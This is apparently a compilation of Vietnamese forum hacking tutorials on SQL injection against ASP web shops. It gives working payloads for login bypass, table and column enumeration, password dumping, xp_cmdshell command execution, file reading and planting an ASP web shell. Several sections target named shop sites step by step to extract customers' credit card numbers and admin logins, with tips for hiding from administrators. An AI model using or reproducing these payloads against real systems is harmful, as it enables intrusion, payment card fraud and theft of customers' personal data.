<FONT Face='tahoma' color='cc0000'> <H1> <BR><BR>
<CENTER>ACCESS DENIED</CENTER> </H1> </BODY> </HTML> <% Response.end return; } e
lse { Session("username") = "" + rso("username"); %> <FONT Face='tahoma' color='
00cc00'> <H1> <CENTER>ACCESS GRANTED<BR> <BR> Welcome, <% Response.write(rso("Us
ername")); Response.write( "</BODY></HTML>" ); Response.end } } function Main()
{ //Set up connection var username var cn = Server.createobject( "ADODB.Connecti
on" );
cn.connectiontimeout = 20; cn.open( "localserver", "sa", "password" ); username
= new String( Request.form("username") ); if( username.length > 0) { Login( cn )
; } cn.close(); } Main(); %> Đây là câu truy vấn SQL: var sql = "select * from u
sers where username = '" + username + "' and password = '" + password + "'"; nếu
hacker vào như sau: Username: '; drop table users-Password: thì table 'user; sẽ
bị xoá,và ta có thể vượt qua bằng cách sau:bypass các bạn biết hết rồi tôi khôn
g nói lại nữa Ơ trường username hacker có thể vào như sau: Username: ' union sel
ect 1, 'fictional_user', 'some_password', 1-ví dụ table user được tạo như sau: c
reate table users( id int, username varchar(255), password varchar(255), privs i
nt ) và insert vào:
insert into users values( 0, 'admin', 'r00tr0x ', 0xffff ) insert into users val
ues( 0, 'guest', 'guest', 0x0000 ) insert into users values( 0, 'chris', 'passwo
rd', 0x00ff ) insert into users values( 0, 'fred', 'sesame', 0x00ff ) Các hacker
sẽ biết được kết quả các column và table qua câu truy vấn having 1=1 Username:
' having 1=1-Lổi phát sinh: Microsoft OLE DB Provider for ODBC Drivers error '80
040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is inva
lid in the select list because it is not contained in an aggregate function and
there is no GROUP BY clause. /process_login.asp, line 35 Tiếp tục lấy các cái cò
n lại: Username: ' group by users.id having 1=1-Microsoft OLE DB Provider for OD
BC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]Colum
n 'users.username' is invalid in the select list because it is not contained in
either an aggregate function or the GROUP BY clause. /process_login.asp, line 35
>> biết được column 'username' ' group by users.id, users.username, users.passw
ord, users.privs having 1=1-Cho đến khi không còn báo lổi thì dừng lại vậy là bạ
n đã biết table và column cần khai thác rồi,bây giờ đến đi lấy giá trị của nó: Đ
ể xác định nội dung của column ta dùng hàm sum() Username: ' union select sum(us
ername) from users-[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or ave
rage aggregate operation cannot take a varchar data type as an argument. /proces
s_login.asp, line 35
Giá trị của username là varchar,không nói các bạn cũng biết lý do,còn dùng với i
d thì sao nhỉ: Username: ' union select sum(id) from users-Microsoft OLE DB Prov
ider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL S
erver]All queries in an SQL statement containing a UNION operator must have an e
qual number of expressions in their target lists. /process_login.asp, line 35 Vậ
y là ta có thể insert vào csdl: Username: '; insert into users values( 666, 'att
acker', 'foobar', 0xffff)-Lấy Version của server: Username: ' union select @@ver
sion,1,1,1-Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsof
t][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value
'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright
© 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2
195: Service Pack 2) ' to a column of data type int. /process_login.asp, line 35
có thể dùng convert() nhưng tôi chỉ các bạn dùng union ,các bạn thử đọc nội dun
g của các user trogn table như sau: Username: ' union select min(username),1,1,1
from users where username > 'a'-Chọn giá trị nhỏ nhất của username và cho nó lớ
n hơn 'a' > phát sinh lổi: Microsoft OLE DB Provider for ODBC Drivers error '800
40e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting th
e varchar value 'admin' to a column of data type int. /process_login.asp, line 3
5 Vậy là ta biết 'admin' acc tồn tại,tiếp tục xem sao:
Username: ' union select min(username),1,1,1 from users where username > 'admin'
-Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQ
L Server Driver][SQL Server]Syntax error converting the varchar value 'chris' to
a column of data type int. /process_login.asp, line 35 Vậy là khi có username >
lấy pass: Username: ' union select password,1,1,1 from users where username ='a
dmin'-Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][OD
BC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'r00t
r0x ' to a column of data type int. /process_login.asp, line 35 Đây là kỹ thuật
mà bạn có thể lấy được user một cách cao cấp: Tạo một script như sau: begin decl
are @ret varchar(8000) set @ret=':' select @ret=@ret+' '+username+'/'+password f
rom users where username>@ret select @ret as ret into foo end >cau truy vấn: Use
rname: '; begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+use
rname+'/'+password from users where username>@ret select @ret as ret into foo en
d-Tạo một table 'foo' với một column là 'ret' Tiếp tục: Username: ' union select
ret,1,1,1 from foo--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL
Server Driver][SQL Server]Syntax error converting the varchar value ': admin/r0
0tr0x guest/guest chris/password fred/sesame' to a column of data type int. /pr
ocess_login.asp, line 35 (Hình như mrro dùng kiểu này vào VDC) Xoá dấu vết: User
name: '; drop table foo-Một hacker khi điều kiển được csdl thì họ muốn xa hơn đó
là điều khiển hệ thống mạng của server đó luôn,một trong số cách đó: 1-Sữ dụng
xp_cmdshell khi đã có quyền 'sa' 2-Sữ dụng xp_regread để đọc register,bao gồm SA
M 3-Chạy link query trên server 4-Tạo script trên server để khai thác 5-Sữ dung
'bulk insert' để đọc bất cứ file nào trên hệ thống 6-Sữ dụng bcp để tạo quền cho
text file trên server 7-Sữ dụng sp_OACreate, sp_OAMethod and sp_OAGetProperty đ
ể tạo script (ActiveX) chạy trên server [xp_cmdshell] Chắc các bạn cũng nghe nhi
ều rồi ví dụ: exec master..xp_cmdshell 'dir' exec master..xp_cmdshell 'net1 user
' Sữ dụng để thi hành các lệnh của dos vvv.. rất hưu hiệu [xp_regread] Các hàm l
iên quan... xp_regaddmultistring xp_regdeletekey xp_regdeletevalue
xp_regenumkeys xp_regenumvalues xp_regread xp_regremovemultistring xp_regwrite V
í dụ: exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\lan
manserver\pa rameters','nullsessionshares' Xác đinh null-session share có tồn tạ
i trên server exec xp_regenumvalues HKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet
\Servi ces\snmp\parameters \validcommunities' v... còn nhiều thứ nữa [Other Exte
nded Stored Procedures] services: exec master..xp_servicecontrol 'start', 'sched
ule' exec master..xp_servicecontrol 'start', 'server' >ngó qua cũng biết nó làm
gì... [Importing text files into tables] Sữ dụng 'bulk insert' để chèn text file
vào thư mục hiện thời,tạo table đơn: create table foo( line varchar(8000) ) tiế
p tục: bulk insert foo from 'c:\inetpub\wwwroot\process_login.asp' [Creating Tex
t Files using BCP] VD: bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot
\runcommand.asp -c -Slocalhost -Usa -Pfoobar [ActiveX automation scripts in SQL
Server] Dùng 'wscript.shell'
vd: declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o,
'run', NULL, 'notepad.exe' Tren câu truy vấn: Username: '; declare @o int exec
sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.
exe'-Dùng 'scripting.filesystemobject' để đọc file: declare @o int, @f int, @t i
nt, @ret int declare @line varchar(8000) exec sp_oacreate 'scripting.filesystemo
bject', @o out exec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1 exe
c @ret = sp_oamethod @f, 'readline', @line out while( @ret = 0 ) begin print @li
ne exec @ret = sp_oamethod @f, 'readline', @line out end Tạo script ASP để thi h
ành command: declare @o int, @f int, @t int, @ret int exec sp_oacreate 'scriptin
g.filesystemobject', @o out exec sp_oamethod @o, 'createtextfile', @f out, 'c:\i
netpub\wwwroot\foo.asp', 1 exec @ret = sp_oamethod @f, 'writeline', NULL, '<% se
t o = server.createobject("wscript.shell"): o.run( request.querystring("cmd") )
%>' Đây là những cách bạn có thể dùng rất hiệu quả,bạn hãy sáng tạo thêm cho mìn
h từ những chỉ dẫn cơ bản này.
HACK SHOP LẤY CREDITCARD BẰNG LỖI INJECTION SQL CHI TIẾT NHẤT-CÓ SHOP THỰC HÀNH
- Tìm và xác định lỗi Injection SQL: Đến nay vẫn chưa có một từ khoá nào giúp cá
c bạn tìm ra shop sử dụng SQL, vì vậy cần xác định site shop dùng SQL để hack, t
hường thì nên dùng từ khoá "shopping asp", "Product", "VP-ASP shopping"... Sau k
hi tìm được shop dùng SQL, tại câu lệnh có đoạn cuối tương tự sau: store/viewPro
duct.asp?ec_products=6620 ta kiểm tra lỗi bằng cách thêm dấu (‘) vào sau dấu (=)
, ví dụ:http://ppmsddev.ctsg.com/store/viewProduct.asp?ec_products=6620' Nếu hiệ
n thông báo lỗi (chú ý chỗ in đậm): Microsoft OLE DB Provider for ODBC Drivers e
rror '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotatio
n mark before the character string ' ORDER BY viewOrder ASC'. /store/viewProduct
.asp, line 114 Nghĩa là site này bị lỗi Injection SQL, ta có thể hack. - Cấu trú
c câu lệnh để hack: Url victim+câu lệnh Ví dụ:http://ppmsddev.ctsg.com/store/vie
wProduct.asp?ec_products=6620%20%2bconvert(int,(select%20top%20 1% 20table_name%
20from%20information_schema.tables))--sp_password - Đây là 3 câu lệnh cơ bản bạn
cần dùng trong quá trình hack lỗi Injection SQL: 1/ Câu lấy table: %20%2bconver
t(int,(select%20top%201%20table_name%2 0from%20information_schema.tables))--sp_p
assword Dùng để lấy table tiếp theo: %20%2bconvert(int,(select%20top%201%20table
_name%2 0from%20information_schema.tables%20where% 20table_name%20not%20in('tabl
e_đã_có')))--sp_password 2/ Câu lấy column: %20%2bconvert(int,(select%20top%201%
20column_name% 20from%20information_schema.columns%20where% 20table_name%20='tab
le_cần_lấy_column'))--sp_password Dùng để lấy column tiếp theo: %20%2bconvert(in
t,(select%20top%201%20column_name% 20from%20information_schema.columns%20where%
20table_name%20='table_cần_lấy_column'%20and%20column_name%20not%20in('co lumn_b
ạn_đã_có)))sp_password 3/ Câu khai thác dữ liệu: %20%2bconvert(int,(select%20top
%201tên_column%2B'/'%2btên_column%20from tên_table_muốn_khai_thác))-sp_password
Để khai thác dữ liệu kế tiếp trên cùng một table bằng:where tên_column not in %2
0%2bconvert(int,(select%20top%201têncolumn%2B'/'%2btêncolum%20from%20tên_table_k
hai_thác%20where% 20tên_colum_chứa_dữ_liệu_đã_có%20not%20in('dữ_liệu_đã_có_của_c
olumn_khai_báo_phía_trước)))--sp_password Chú ý: Phải dùng -sp_password để admin
không phát hiện được Sau đây là ví dụ thực hành, site này có CC:
I/ Xem xét site sau: Các bạn có thể copy các đoạn link màu đỏ cho chạy trên IE đ
ể theo dõi kết quả hướng dẫn. http://ppmsddev.ctsg.com/store/viewProduct.asp?ec_
products=6620' Có lỗi Injection SQL II/ Lấy table: 1/ Lấy table đầu tiên: http:/
/ppmsddev.ctsg.com/store/viewProduct.asp?ec_products=6620%20%2bconvert(int,(sele
ct%20top%20 1% 20table_name%20from%20information_schema.tables))--sp_password Kế
t quả: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][O
DBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'do
nations' to a column of data type int. /store/viewProduct.asp, line 114 'donatio
ns' là table đầu tiên 2/ Lấy table kế tiếp:http://ppmsddev.ctsg.com/store/viewPr
oduct.asp?ec_products=6620%20%2bconvert(int,(select% 20top%20 1%20table_name%20f
rom%20information_schema.tables%20where%20table_name%20not%20in ('donations' )))
--sp_password Kết quả: Microsoft OLE DB Provider for ODBC Drivers error '80040e0
7' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nv
archar value 'Editor' to a column of data type int. /store/viewProduct.asp, line
114 'Editor' là table thứ 2 3/ Table thứ 3: http://ppmsddev.ctsg.com/store/view
Product.asp?ec_products=6620%20%2bconvert(int,(select%20top%20 1% 20table_name%2
0from%20information_schema.tables%20where%20table_name%20not%20in ('donations' ,
'Editor')))--sp_password Kết quả: Microsoft OLE DB Provider for ODBC Drivers err
or '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error conver
ting the nvarchar value 'bills' to a column of data type int. /store/viewProduct
.asp, line 114 Và các bạn làm tương tự để lấy hết table, đến khi không xuất hiện
thêm table là hết. Kết quả: http://ppmsddev.ctsg.com/store/viewProduct.asp?ec_p
roducts=6620%20%2bconvert(int,(select%20top%20 1% 20table_name%20from%20informat
ion_schema.tables%20where%20table_name%20not%20in ('donations' ,'Editor','bills'
,'bills_20040213','billsCandidate s','billsCandidates_20040213','billsCandidates
Impo rt','candidates','candidates_20040213','candidates New','contribute','dtpro
perties','ec_categories',' ec_orders','ec_priceBreaks','ec_products','ec_regi on
','ec_shippers','ec_shippingOrders','ec_supplier s','ec_territory','Editor_lette
rs','Editor_queue', 'Editor_recipients','emailUpdates','MinnesotaHouse RollCallV
otes','MinnesotaSenateRollCallVotes','off ices','parties','party','Postcards','P
ostcardsBlac klist','ppmsd','sbEntries','siteSection','storetem p','stories','st
oryCategories','subjects','syscons traints','syssegments','tblConstitutionalOffi
cerSl ate','tblConstitutionalOfficerSlate$','tblStateLeg 2002_Query','users','us
ers_choice','vw_contribute_ pending','vw_contribute_processed')))--sp_password I
I/ Lấy column: Chú ý các table chứa dữ liệu quan trọng liên quan đến CC và pass
admin thường có tên: orders, user, tbloders, tbluser...
1/ Khai thác column đầu tiên trong table 'ec_orders': http://ppmsddev.ctsg.com/s
tore/viewProduct.asp?ec_products=6620%20%2bconvert(int,(select%20top%20 1% 20col
umn_name%20from%20information_schema.columns%20where%20table_name%20='ec_orders'
))-sp_password Kết quả: Microsoft OLE DB Provider for ODBC Drivers error '80040e
07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the n
varchar value 'firstname' to a column of data type int. /store/viewProduct.asp,
line 114 'firstname' là column đầu tiên trong table 'ec_orders' 2/ Lấy column ti
ếp theo: http://ppmsddev.ctsg.com/store/viewProduct.asp?ec_products=6620%20%2bco
nvert(int,(select%20top%20 1% 20column_name%20from%20information_schema.columns%
20where%20table_name%20='ec_orders'%20and% 20column_name%20not%20in('firstname')
))--sp_password Kết quả: Microsoft OLE DB Provider for ODBC Drivers error '80040
e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar value 'lastname' to a column of data type int. /store/viewProduct.asp,
line 114 3/ Làm tương tự để khai thác hết column của table này: Kết quả: http://
ppmsddev.ctsg.com/store/viewProduct.asp?ec_products=6620%20%2bconvert(int,(selec
t%20top%20 1% 20column_name%20from%20information_schema.columns%20where%20table_
name%20='ec_orders'%20and% 20column_name%20not%20in ('firstname','lastname','ema
il','orgName','address','city','state','zip','tele_areacode','tele_first','tele_
last','credit_card','card _number','ExpDate_month','ExpDa te_year','timestamp','
shippedDate','orderNumber','shipped','billing_firstname','billing_lastname'lastn
ame', 'billing_email','billing_orgName','billing_address ','billing_city','billi
ng_state','billing_zip','bi lling_tele_areacode','billing_tele_first','billing _
tele_last','nameOnCard','survey_nameOfPerson','survey_materials','survey_ emailA
ddress','survey_findMethod','survey_interest ed','po_number')))--sp_password III
/ Khai thác CC: Các bạn chú ý các column quan trọng trong table 'ec_orders' đã đ
ược in đậm: 1/ Khai thác 'credit_card','card_number' trong 'ec_orders' : http://
ppmsddev.ctsg.com/store/viewProduct.asp?ec_products=6620%20%2bconvert(int,(selec
t%20top%20 1% 20credit_card%2b'/'%2bcard_number%20from%20ec_orders))--sp_passwor
d Các bạn dùng link trên để xem kết quả (vì nội quy của From nên không đưa kết q
uả ra) Tương tự, lấy kết quả kế tiếp: http://ppmsddev.ctsg.com/store/viewProduct
.asp?ec_products=6620%20%2bconvert(int,(select%20top%20 1% 20credit_card%2b'/'%2
bcard_number%20from%20ec_orders%20where%20card_ number%20not%20in ('card_number-
bạn_đã_có_ở_trên')))--sp_password Số column truy vấn tùy thuộc vào ý thích của m
ỗi bạn. Dùng %2b'/'%2b nghĩa là hiển thị kết quả có phân cách bằng dấu (/) để dễ
nhận biết. Các bạn lưu ý: số column truy vấn càng nhiều thì khả năng truy xuất
dữ liệu càng thấp vì câu lệnh không hiểu những khoảng trống không có dữ liệu. Tố
t nhất là thử với 1 column kiểm tra kết quả, sau đó thêm column kế tiếp vào câu
lệnh truy xuất.
Câu lệnh truy xuất hoàn chỉnh trong table ec_orders của site này (các bạn dùng l
ink này để xem kết qu&#7843 : http://ppmsddev.ctsg.com/store/viewProduct.asp?ec_
products=6620%20%2bconvert(int,(select%20top%20 1% 20firstname%2b'/'%2blastname%
2b'/'%2bemail%2b'/'%2borgName%2b'/'%2baddress%2b'/'%2bcredit_card%2b'/'% 2bcard_
number%2b'/'%2bExpDate_month%2b'/'%2bExpDate_year%2b'/'%2bnameOnCard%2b'/'%2bcit
y%2b'/'% 2bstate%2b'/'%2bzip%20from%20ec_orders))--sp_password Tương tự bạn có t
hể làm với các table khác để lấy dữ liệu của admin, customer... IV/ Một số kinh
nghiệm trong quá trình hack shop bằng lỗi Injection SQL: - Sau khi phát hiện sit
e lỗi Injecton SQL, bạn nên mua thử một món hàng nào đấy trên site này để kiểm t
ra các thông tin sau: có cho phép dùng CC mua không, CC có cvv2, thanh toán onli
ne trên site bị lỗi hay trên một site khác, customer đăng nhập mua hàng có dùng
password không...tất cả những thông tin liên quan đến việc mua bán để xác định c
ó nên hack site này không. - Nên khai thác đầu tiên là creditcard_number , nếu k
hông có, có khả năng site đã fix dữ liệu hoặc dùng một site khác để thanh toán.
- Khi lấy được user/pass của admin cần dùng nó để đăng nhập server với giao thức
ftp, ví dụ:ftp://ppmsddev.ctsg.com/, nếu maymắn bạn có thể làm chủ server và kh
ông cần phải phí công nhiều trong khi hack. - Thường các site này hay dấu link đ
ể đăng nhập quyền admin, bạn cần chịu khó tìm, và dùng chương trình scan Url của
trang này để tìm trang đăng nhập. - Có một số trường hợp, site bị lỗi Injectjon
nhưng hiện trang báo lỗi: The page cannot be displayed, bạn cần chú ý phía bên
dưới để phát hiện thông báo lỗi của Injection SQL, ví dụ: The page cannot be dis
played There is a problem with the page you are trying to reach and it cannot be
displayed. ................... HTTP 500.100 - Internal Server Error - ASP error
Internet Information Services Technical Information (for support personnel) Err
or Type: Provider ('80040e14') Type mismatch. /shopping/shop$db.asp, line 875 Br
owser Type: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) Page: GET /shoppi
ng/shopdisplayproducts.asp Time: Friday, February 27, 2004, 11:20:19 PM More inf
ormation: Microsoft Supporthttp://www.microsoft.com/ContentRedirect.asp? prd=iis
&sbp=&pver=5.0&ID=500;100&cat=Provider&os=&over=&hrd=&Opt1=&Opt2=% 2D2147352571&
Opt3=Type+mismatch%2E
TUTORIAL NAØY KHOÂNG BIEÁT TAÙC GIAÛ
Thực ra thì cái lỗi này có từ lâu rồi , nhưng các bạn biết tại sao mà nó còn nhi
ều không , rất nhiều , rất nhiều . Bỡi vì đơn giản là " nhác " . Jet database có
nhiều cách , nhưng làm theo cách này newbie dễ hiễu và cũng không cần làm gì ng
oài việc thêm dòng lệnh sau url bị lỗi cả .Bắt đầu 1. Vào google search từ khoá
:proddetail.asp?prod=* < * ỡ đây các bạn có thễ thay thế = bất cứ số nào 1, 2,3
... hay 100 , 200 , tuỳ > 2. Thêm dấu ' đễ tìm site có lỗi 3. Nhận biết site có
lỗi = dòng sau CODE Microsoft JET Database Engine error '80040e14' The number of
columns in the two selected tables or queries of a union query do not match. /R
etail/vsadmin/inc/incproddetail.asp, line 33 4. Ví dụ cụ thễ , tôi check thữ sit
ehttp://www.kleer-fax.com/proddetail.asp?prod=23305 Thêm dấu ' vào sau 23305 ok
?? Lỗi hiện ra CODE Microsoft JET Database Engine error '80040e14' Syntax error
in string in query _expression 'pId='23305'''. /proddetail.asp, line 246 Bắt đầu
khai thác nhé các bạn , tìm table và collumn của nó = lệnh truy vấn sau : QUOTE
%27union%20select%201%20from%20admin Sau khi thêm câu lệnh vào link ta được :ht
tp://www.kleer-fax.com/proddetail.asp?prod=23305%27union%20select% 201%20from%20
admin Ta được QUOTE Microsoft JET Database Engine error '80040e14' The number of
columns in the two selected tables or queries of a union query do not match. /p
roddetail.asp, line 246 Á , sai rùi , đùa đấy , lỗi vừa rồi nói rằng : có tồn tạ
i giá trị collumn chứa thông tin admin á , check tiếp Thêm ,2 vào sau select%201
. CODE http://www.kleer-fax.com/proddetail.asp?prod=23305%27%20union%20select%
201,2%20from%20admin A nó cũng báo y như trên CODE Microsoft JET Database Engine
error '80040e14' The number of columns in the two selected tables or queries of
a union query do not match. /proddetail.asp, line 246
Khi vẫn chưa tìm ra được cái minh cần thì các bạn cứ thêm lần lượt ,3,4,5,6,7,8
vào tiếp cho đến khi : QUOTE Home : All Products 4-5-6 Item: 3 List Price: $9.00
USD 7 201 Hehe đây chính là cái ta cần tìm . Và dãy số ta cần thêm vào ỡ trên k
ết thúc đến số 14 < May mà mới đến số 14 , ko nãn > Chú ý số 7 và 201 nhé , đó l
à thông tin củ a 2 columb chứ a thông tin Admin ( user/ pass)  Ta thay câu lênh
truy vấ n user và pass admin và o vi trí 201 và 7 Mệt quá , :( đến tận số 201 ,
ai muốn học tập thì đánh đến số 201 nha :D Đễ tiện các bạn test mình giả sữ số 2
01 là số 1 thì câu truy vấn sẽ là CODE http://www.kleer-fax.com/proddetail.asp?p
rod=23305%27and%201=0%20union% 20select%201%2c2%2c% 27username:%20%27%2badminuse
r%2c4%2c5%2c6%2c%27password:%20%27%2badminpassword%2c8%2c9% 2c10%2c11%2c12%2c13%
2c14%20from%20admin Đó , các bạn đánh đến số 200 rùi đến 201 thì thay = adminpas
sword :D . Lúc đó sẽ hiện ra những dòng sau QUOTE Please choose from the list be
low. Change username / password: Edit admin settings: Edit categories: Edit prod
ucts: Logout: Chú ý : Khi union đươ c mà ko bá o lỗi thì mớ i dù ng and 1=0
TUTORIAL FROM HCV
---- Đây là phương pháp hack lỗi SQL nâng cao đối với các shop VP-ASP. Được sự g
iúp đỡ của 1 admin trong HCV hiện tại Quoc xin được chia sẻ với các bạn ********
************************************** Vuln: SQL Inject in VP-ASP all of version
Exploiter: Unknown Tool: Mozilla Firefox Download *****************************
***************** Đầu tiên, bạn phải tìm ra shop của victim Công cụ:http://googl
e.com/ Keyword: shopdisplayproducts.asp? shopaddtocart.asp? shopexd.asp Các bạn
tự tìm thêm key cho mình nhé. Ví dụ ở đây tui chọn shop CODE https://www.sfp.net
/shopaddtocart.asp?catalogid=1 Sau đó chúng ta thêm dấu ' vao phía sau link thàn
h như sau CODE https://www.sfp.net/shopaddtocart.asp?catalogid=1' Ok, chúng ta b
ắt đầu tìm link admin nhé ---- Tìm chữ đầu tiên trong link admin, các bạn thêm d
òng lệnh này vao phía sau link trên nhé CODE https://www.sfp.net/shopaddtocart.a
sp?catalogid=1%20or%201=(select%20fieldname%20from%20configuration% 20where%20le
ft(fieldname,10)='xadminpage'%20and%20left(fieldvalue,1)='s') Chúng ta sẽ thay d
ần giá trị 's' sao cho ứng với kí tự đầu tiên của link Ở đây tui tìm được là kí
tự 'a' ---- Sau đó tìm tiếp chiều dài của link admin (thường thì tu gia trị thứ
5 trở đi vì link admin sẽ có thêm .asp ví du admin.asp <--- có 9 kí tự) CODE htt
ps://www.sfp.net/shopaddtocart.asp?catalogid=1%20or%201=(select%20fieldname%20fr
om%20configuration% 20where%20left(fieldname,10)='xadminpage'%20and%20left(field
value,1)='a' and len(fieldvalue)=5) Thay tiếp giá trị 5 thành các giá trị số cho
đến khi tìm được đúng chiều dài của link admin. Ở đây mình tìm được là 15 ki tự
---- Tiếp theo tìm các kí tự còn lại trong link admin nhé. CODE https://www.sfp
.net/shopaddtocart.asp?catalogid=1%20or%201=(select%20fieldname%20from%20configu
ration% 20where%20left(fieldname,10)='xadminpage'%20and%20left(fieldvalue,2)='ad
')
Thay đổi dần giá trị trong lệnh left ứng với vị trí kí tự của link admin. Sau kh
i tìm được link admin, chúng ta sẽ được adminonline.asp ---- Tiếp theo tìm usern
ame Các bạn thêm câu truy vấn này phía sau link nhé CODE %20or%201=(select%20fld
username%20from%20tbluser%20where%20left(fldusername,1)='q') Khi đó câu truy vấn
sẽ là CODE https://www.sfp.net/shopaddtocart.asp?catalogid=1%20or%201=(select%2
0fldusername%20from%20tbluser% 20where%20left(fldusername,1)='s') Ở đây kí tự đầ
u tiên là 's' ---- Tiếp theo tìm chiều dài của username CODE https://www.sfp.net
/shopaddtocart.asp?catalogid=1%20or%201=(select%20fldusername%20from%20tbluser%
20where%20left(fldusername,1)='s' and len(fldusername)=3) Chúng ta sẽ tìm được u
sername là "sfp" ---- Tìm password Cũng tương tự như trên chỉ cần thay flduserna
me bằng fldpassword Các bạn thêm câu truy vấn này phía sau link nhé CODE %20or%2
01=(select%20fldpassword%20from%20tbluser%20where%fldusername='sfp' and left(fld
password,1)='p') Tìm password tương ứng với username là "sfp". Chữ đầu tiên là '
p' Khi đó câu truy vấn sẽ là CODE https://www.sfp.net/shopaddtocart.asp?catalogi
d=1%20or%201=(select%20fldpassword%20from%20tbluser% 20where%fldusername='sfp' a
nd left(fldpassword,1)='p') Ở đây kí tự đầu tiên là 'p' ---- Tiếp theo tìm chiều
dài của password CODE https://www.sfp.net/shopaddtocart.asp?catalogid=1%20or%20
1=(select%20fldpassword%20from%20tbluser% 20where%fldusername='sfp' and left(fld
password,1)='p' and len(fldpassword)=11) Sau khi tìm được chúng ta sẽ co pass là
'performance' ************************************************************* Cuố
i cùng sau khi hoàn tất chúng ta sẽ có link admin là http://www.sfp.net/adminonl
ine.asp user: sfp pass: performance
TUTORIAL BY CONGLAPHVA
-Vào www.google.com.vn đánh vào -allinurl:'/product.asp/' -allinurl:'/product.as
p?productid/' -allinurl:'/logint.asp' -Bây giờ ta bắt đầu công việc,tôi chọn 1 s
ite để hackhttp://www.victim.com/store/category.asp?CategoryID=83 -Kiểm tra lỗi:
http://www.victim.com/store/category.asp?CategoryID=83' ( ta chỉ cần đánh vào dấ
u ' để test lỗi ) -Kết quả: Provider for SQL Server error '80040e14' Unclosed qu
otation mark before the character string ''. /store/includes/common.asp, line 21
16 1. Thu thập cấu trúc dữ liệu : Lấy Table đầu tiên http://www.victim.com/store
/category.asp?CategoryID=83%20and%201=convert(int,(select%20top%201% 20table_nam
e%20from%20information_schema.tables))--sp_password Kết quả: Provider for SQL Se
rver error '80040e07' Syntax error converting the nvarchar value 'StateTaxes' to
a column of data type int. /store/includes/common.asp, line 2116
Như vậy ta có table đầu tiên là StateTaxes. Lấy tiếp table thứ hai : http://www.
victim.com/store/category.asp?CategoryID=82%20and%201=convert(int,(select%20top%
201% 20table_name%20from%20information_schema.tables%20where%20table_name%20not%
20in%20('StateTaxes')))-sp_password
Kết quả: Provider for SQL Server error '80040e07' Syntax error converting the nv
archar value 'BillingAddresses' to a column of data type int. /store/includes/co
mmon.asp, line 2116
Như vậy table thứ hai là BillingAddresses Lấy tiếp table thứ ba http://www.victi
m.com/store/category.asp?CategoryID=82%20and%201=convert(int,(select%20top%201%
20table_name%20from%20information_schema.tables%20where%20table_name%20not%20in%
20 ('StateTaxes','BillingAddresses')))--sp_password Kết quả: Provider for SQL Se
rver error '80040e07' Syntax error converting the nvarchar value 'Categories' to
a column of data type int. /store/includes/common.asp, line 2116 các bạn cứ lấy
kết quả của table thứ 3 (chữ màu xanh) thay thế vào sau table 3 là lấy được toà
n bộ table của site này VD: http://www.victim.com/store/category.asp?CategoryID=
82%20and%201=convert(int,(select%20top%201% 20table_name%20from%20information_sc
hema.tables%20where%20table_name%20not%20in%20 ('StateTaxes','BillingAddresses',
'Categories')))--sp_password -Còn đây là toàn bộ table của site này http://www.v
ictim.com/store/category.asp?CategoryID=83%20and%201=convert(int,(select%20top%2
01% 20table_name%20from%20information_schema.tables%20where%20table_name%20not%2
0in%20 ('StateTaxes','BillingAddresses','Categories','Countries','CreditCards','
Discounts','dtproperties','Groups','homeblurb','Ite mGroups','Items','Manufactur
ers','Members','OrderItems','OrderItemsShipped','Orders','SavedCart','SavedCartI
tems','Se cure','SessionData','Settings','SettingsFreeShippingCountries'.'Shippi
ngAddresses')))--sp_password CC thường chứa trong các table Orders hay creditcar
d, ở đây tôi chọn Orders để hack. Lấy Column đầu tiên http://www.victim.com/stor
e/category.asp?CategoryID=83%20and%201=convert(int,(select%20top%201% 20column_n
ame%20from%20information_schema.columns%20where%20table_name=('Orders')))--sp_pa
ssword Kết quả: Provider for SQL Server error '80040e07' Syntax error converting
the nvarchar value 'OrderID' to a column of data type int. /store/includes/comm
on.asp, line 2116
Provider for SQL Server error '80040e07' Syntax error converting the nvarchar va
lue 'DateCreated' to a column of data type int. /store/includes/common.asp, line
2116
Ta lần lượt lấy hết coloum của table này, có kết quả như sau: http://www.victim.
com/store/category.asp?CategoryID=83%20and%201=convert(int,(select%20top%201% 20
column_name%20from%20information_schema.columns%20where%20table_name=('Orders')%
20and% 20column_name%20not%20in%20 ('OrderID','DateCreated','MemberID','Shipping
Method','Company','FirstName','LastName','Address1','Address2','City',' State','
Zip','ForeignAddress','Country','Phone','Fax','Email','CardName','CardType','Car
dNumber','ExpirationDate','Car dAddress','CardZip','ShippingAddress1','SubTotal'
,'Discount','DiscountDescription','Tax','Shipping','OrderTotal','PONu mber','Res
aleNumber','Handling','Comments','Referer','StoreName','ShippingCompany','Shippi
ngFirstName','Shipping LastName','ShippingAddress2','ShippingCity','ShippingStat
e','ShippingZip','ShippingForeignAddress','ShippingCountr y','ShippingPhone','Sh
